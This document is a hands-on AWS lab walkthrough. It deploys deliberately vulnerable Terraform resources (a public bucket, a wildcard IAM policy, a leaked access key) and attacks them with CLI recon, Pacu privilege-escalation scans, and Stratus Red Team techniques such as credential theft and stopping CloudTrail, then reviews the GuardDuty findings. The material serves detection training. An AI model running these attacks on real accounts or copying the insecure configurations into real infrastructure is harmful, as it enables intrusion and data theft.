Time: ~4 hours · Difficulty: Intermediate · Stack: AWS free tier · Terraform · AWS CLI · Pacu · GuardDuty · Stratus Red Team
Authorization and safety. This walkthrough deploys deliberately weak resources in a real AWS account and runs offensive tooling against them. Do it only in a dedicated throwaway lab account that already has the budget guardrails from the home-lab guide, and tear everything down the same day. Never point these tools at an account you do not fully own.
The single best way to understand a cloud attack is to build the vulnerable setup, exploit it yourself, and then watch the defenses react or fail to. This walkthrough deploys a small, deliberately-weak AWS environment with Terraform, walks three escalating attack paths against it (manual CLI recon, automated enumeration with Pacu, ATT&CK technique detonation with Stratus Red Team), and reads the GuardDuty findings that result. It ends with the question every detection engineer asks: what did the defenses miss? That question is the on-ramp to the CloudTrail-to-SIEM walkthrough.
On this page
What you will build
- GuardDuty and CloudTrail enabled as your sensors.
- A deliberately-vulnerable Terraform stack: a public bucket, a leaked access key, an over-permissive user, an SSM secret, and a wide-open security group.
- Three attack runs against it, from manual recon to automated ATT&CK detonation.
- A read-through of the resulting GuardDuty findings, mapped to what you did.
- A clear list of what GuardDuty caught and what it did not, which is your detection-engineering to-do list.
Prerequisites
- A dedicated lab AWS account with the budget guardrails already in place.
- AWS CLI and Terraform configured with an admin profile for the lab account.
- Python 3.9+ (for Pacu) and Homebrew or a binary install for Stratus Red Team.
- Comfort with the enumeration commands from the LocalStack lab. This is the real-account sequel.
Step-by-step
1. Turn on the sensors first
Enable detection before you attack, so every action is recorded from the start.
# GuardDuty: enable the detector (30-day free trial on a new account) aws guardduty create-detector --enable --region us-east-1 # a "detector" is GuardDuty's per-region sensor; --enable turns it on aws guardduty list-detectors # returns the detector id you just created - keep it handy
Now a CloudTrail trail delivering management events to S3. trail.tf:
# The S3 bucket CloudTrail will write its log files into.
resource "aws_s3_bucket" "trail" {
bucket = "ct-lab-${data.aws_caller_identity.me.account_id}" # account id makes the name globally unique
force_destroy = true # let `terraform destroy` delete it even when full of logs
}
data "aws_caller_identity" "me" {} # a read-only lookup of the current account id (used above and below)
# CloudTrail is an AWS service, not you, so the bucket needs a policy that lets
# the service write to it. These two statements are the exact grants AWS documents.
resource "aws_s3_bucket_policy" "trail" {
bucket = aws_s3_bucket.trail.id
policy = jsonencode({
Version = "2012-10-17",
Statement = [
# 1) Let CloudTrail read the bucket's ACL so it can verify ownership before writing.
{ Sid = "AclCheck", Effect = "Allow",
Principal = { Service = "cloudtrail.amazonaws.com" }, # the principal is the service, not a user
Action = "s3:GetBucketAcl", Resource = aws_s3_bucket.trail.arn },
# 2) Let CloudTrail drop log objects under the AWSLogs/<account>/ prefix it uses.
{ Sid = "Write", Effect = "Allow",
Principal = { Service = "cloudtrail.amazonaws.com" },
Action = "s3:PutObject",
Resource = "${aws_s3_bucket.trail.arn}/AWSLogs/${data.aws_caller_identity.me.account_id}/*",
Condition = { StringEquals = { "s3:x-amz-acl" = "bucket-owner-full-control" } } } # AWS requires this ACL on the write
]
})
}
resource "aws_cloudtrail" "lab" {
name = "lab-trail"
s3_bucket_name = aws_s3_bucket.trail.id # deliver logs to the bucket above
include_global_service_events = true # capture global services (IAM, STS) too, not just regional ones
is_multi_region_trail = true # record activity in every region, so attacks can't hide in an unused one
depends_on = [aws_s3_bucket_policy.trail] # the policy must exist first, or CloudTrail's first write is denied
}2. Deploy the vulnerable stack
In vuln.tf, each resource is a real-world mistake you will recognize:
# A public bucket holding fake "loot" - the target an attacker exfiltrates.
resource "aws_s3_bucket" "loot" {
bucket = "exports-lab-${data.aws_caller_identity.me.account_id}"
force_destroy = true
}
# Same trick as the LocalStack lab: disabling all four guards is what lets the
# public policy below actually expose the bucket.
resource "aws_s3_bucket_public_access_block" "loot" {
bucket = aws_s3_bucket.loot.id
block_public_acls = false
block_public_policy = false
ignore_public_acls = false
restrict_public_buckets = false
}
resource "aws_s3_bucket_policy" "loot" {
bucket = aws_s3_bucket.loot.id
policy = jsonencode({
Version = "2012-10-17",
# Principal "*" = anyone on the internet may GetObject every object in the bucket.
Statement = [{ Effect = "Allow", Principal = "*",
Action = "s3:GetObject", Resource = "${aws_s3_bucket.loot.arn}/*" }]
})
}
# A secret hiding in SSM Parameter Store - the "collection" target for later.
resource "aws_ssm_parameter" "db_password" {
name = "/lab/db_password"
type = "SecureString" # SecureString = KMS-encrypted at rest; reading it needs --with-decryption
value = "hunter2-not-a-real-secret" # obviously fake - never put a real secret in code
}
# An over-permissive IAM user with a long-lived access key ("the leaked key").
resource "aws_iam_user" "legacy" { name = "legacy-app" }
resource "aws_iam_user_policy" "legacy" {
name = "too-much"
user = aws_iam_user.legacy.name
policy = jsonencode({
Version = "2012-10-17",
# Full control over IAM, S3, and SSM - broad enough to enumerate, escalate, and exfiltrate.
Statement = [{ Effect = "Allow", Action = ["iam:*","s3:*","ssm:*"], Resource = "*" }]
})
}
resource "aws_iam_access_key" "legacy" { user = aws_iam_user.legacy.name } # the static key you'll "leak" to yourself
# Terraform outputs surface the generated key so the attack steps can read it back.
output "leaked_access_key_id" { value = aws_iam_access_key.legacy.id }
output "loot_bucket" { value = aws_s3_bucket.loot.id } # step 2 uploads here; without this output the upload silently goes nowhere
output "leaked_secret_access_key" {
value = aws_iam_access_key.legacy.secret
sensitive = true # sensitive = hide it from normal CLI output
}terraform init # download providers (run once per project) terraform apply -auto-approve # create the trail + vulnerable stack; -auto-approve skips the prompt echo "top-secret export data" > loot.txt # make a decoy file to plant in the public bucket # Upload it. $(...) runs terraform output to fetch the real bucket name; if that fails, # the || fallback uses a placeholder you'd edit by hand. aws s3 cp loot.txt s3://$(terraform output -raw loot_bucket 2>/dev/null || echo exports-lab-CHANGEME)/
3. Attack path 1 - manual recon with the leaked key
Configure a profile with the leaked key (as if you found it in a public git repo), then walk the recon-to-collection chain:
# Load the leaked key into this shell's environment (as if you'd found it in a public repo). export AWS_ACCESS_KEY_ID=$(terraform output -raw leaked_access_key_id) # -raw = print the value with no quotes/formatting export AWS_SECRET_ACCESS_KEY=$(terraform output -raw leaked_secret_access_key) unset AWS_PROFILE # make sure these env vars win, not some admin profile in ~/.aws/config aws sts get-caller-identity # step 1, credential access: confirm which identity the key is aws iam list-user-policies --user-name legacy-app # step 2, discovery: what inline policies does it have? aws iam get-user-policy --user-name legacy-app --policy-name too-much # read the policy - it's the wildcard admin one # step 3, collection: find and read the loot, then decrypt the SSM secret aws s3 ls # list buckets the key can see aws s3 cp s3://exports-lab-<account-id>/loot.txt - # trailing "-" streams the object to stdout instead of a file aws ssm get-parameter --name /lab/db_password --with-decryption \ # --with-decryption returns the plaintext SecureString --query Parameter.Value --output text # --query/--output text = print just the value, nothing else
Each command is one link in a real kill chain: credential access (the leaked key), discovery (enumerating what it can do), and collection (reading the bucket and the decrypted secret). This is exactly how the majority of cloud breaches begin. See the breach kill chains for the production versions.
4. Attack path 2 - automated enumeration with Pacu
pip install pacu pacu # launches Pacu's own interactive shell (its own prompt, not bash) # inside the Pacu shell: # import_keys --import-aws-cli # pull the leaked creds from your AWS CLI config into Pacu (or set them manually) # run iam__enum_permissions # enumerate every permission the key has # run iam__privesc_scan # take those permissions and map concrete paths to admin # run s3__download_bucket # bulk-download readable buckets - automated collection
Pacu is the AWS exploitation framework. iam__privesc_scan is the highlight: it takes the permissions you enumerated and tells you how to escalate to admin from them. It is the same reasoning an attacker (or a good IAM reviewer) applies to an over-permissive policy.
5. Attack path 3 - detonate ATT&CK techniques with Stratus Red Team
brew install stratus-red-team # or grab a binary from the releases page stratus list # browse the catalog; each entry maps to a MITRE ATT&CK technique # detonate a few - each command spins up its own prerequisites, performs the technique, # and generates the exact telemetry a real attacker would leave in CloudTrail stratus detonate aws.credential-access.ec2-steal-instance-credentials # steal an instance's role credentials stratus detonate aws.defense-evasion.cloudtrail-stop # stop logging to blind the defender stratus detonate aws.exfiltration.s3-backdoor-bucket-policy # open a bucket to the world stratus cleanup --all # ALWAYS run this - it deletes the instances/roles each technique created (they're billable)
Stratus Red Team is purpose-built to test detections: each technique maps to a MITRE ATT&CK ID and produces the exact telemetry a real attacker would. You are generating a labeled dataset of malicious activity in your own account.
6. Read the GuardDuty findings
# Grab the detector id into a shell variable so the next two commands can reuse it.
DETECTOR=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) # --query pulls the first id out of the JSON
aws guardduty list-findings --detector-id "$DETECTOR" # list finding IDs GuardDuty has raised
aws guardduty get-findings --detector-id "$DETECTOR" \ # fetch the full detail for one finding...
--finding-ids <finding-id> --query 'Findings[0].{type:Type,severity:Severity}' # ...and print just its type and severityExpect findings such as Stealth:IAMUser/CloudTrailLoggingDisabled (from the Stratus cloudtrail-stop), UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS (from the credential-theft technique), and Policy:S3/BucketAnonymousAccessGranted (from your public bucket). Findings can take minutes to hours to surface; to see the shape of a finding immediately, generate samples with aws guardduty create-sample-findings --detector-id "$DETECTOR". Read each finding in full. Every one is a real attack pattern, annotated, in an environment you control.
What did the defenses miss?
GuardDuty is anomaly- and signature-based, so it will not flag everything you did. The quiet ssm:GetParameter read of the secret, the iam:PutUserPolicy self-escalation Pacu mapped, and the plain enumeration calls often raise no managed finding at all. That gap is not a failure of the lab but the reason detection engineers write their own logic against the raw audit trail. Take your list of "things GuardDuty missed" straight into the CloudTrail-to-SIEM walkthrough and build detections for them.
Tear it all down. The most important step. Run it before you close the laptop:
stratus cleanup --all # remove anything Stratus created (do this first - Terraform doesn't know about it) terraform destroy -auto-approve # tear down the trail + vulnerable stack you built # sanity-check the console: no running EC2, no public bucket, no stray access keys # The || fallback prints a friendly message once the user (and its keys) is gone. aws iam list-access-keys --user-name legacy-app 2>/dev/null || echo "user gone - good"
Common mistakes
- Running this outside a dedicated lab account. Deliberately-vulnerable resources plus offensive tooling belong nowhere near shared or production accounts.
- Leaving the public bucket or leaked key live. A real access key with
iam:*in a public repo is a genuine incident. Destroy it the same day. - Forgetting
stratus cleanup. Stratus leaves prerequisite infrastructure (instances, roles) running and billable if you skip it. - Reading "no GuardDuty finding" as "not detectable." It means "build your own detection", which is the entire next walkthrough.
Where next
- Build a CloudTrail-to-SIEM pipeline: write detections for everything GuardDuty missed.
- Breach kill chains: recreate a real incident using these same techniques.
- Recreate the Capital One breach: the portfolio-grade version of this exercise.
- Cloud pentesting and incident response.
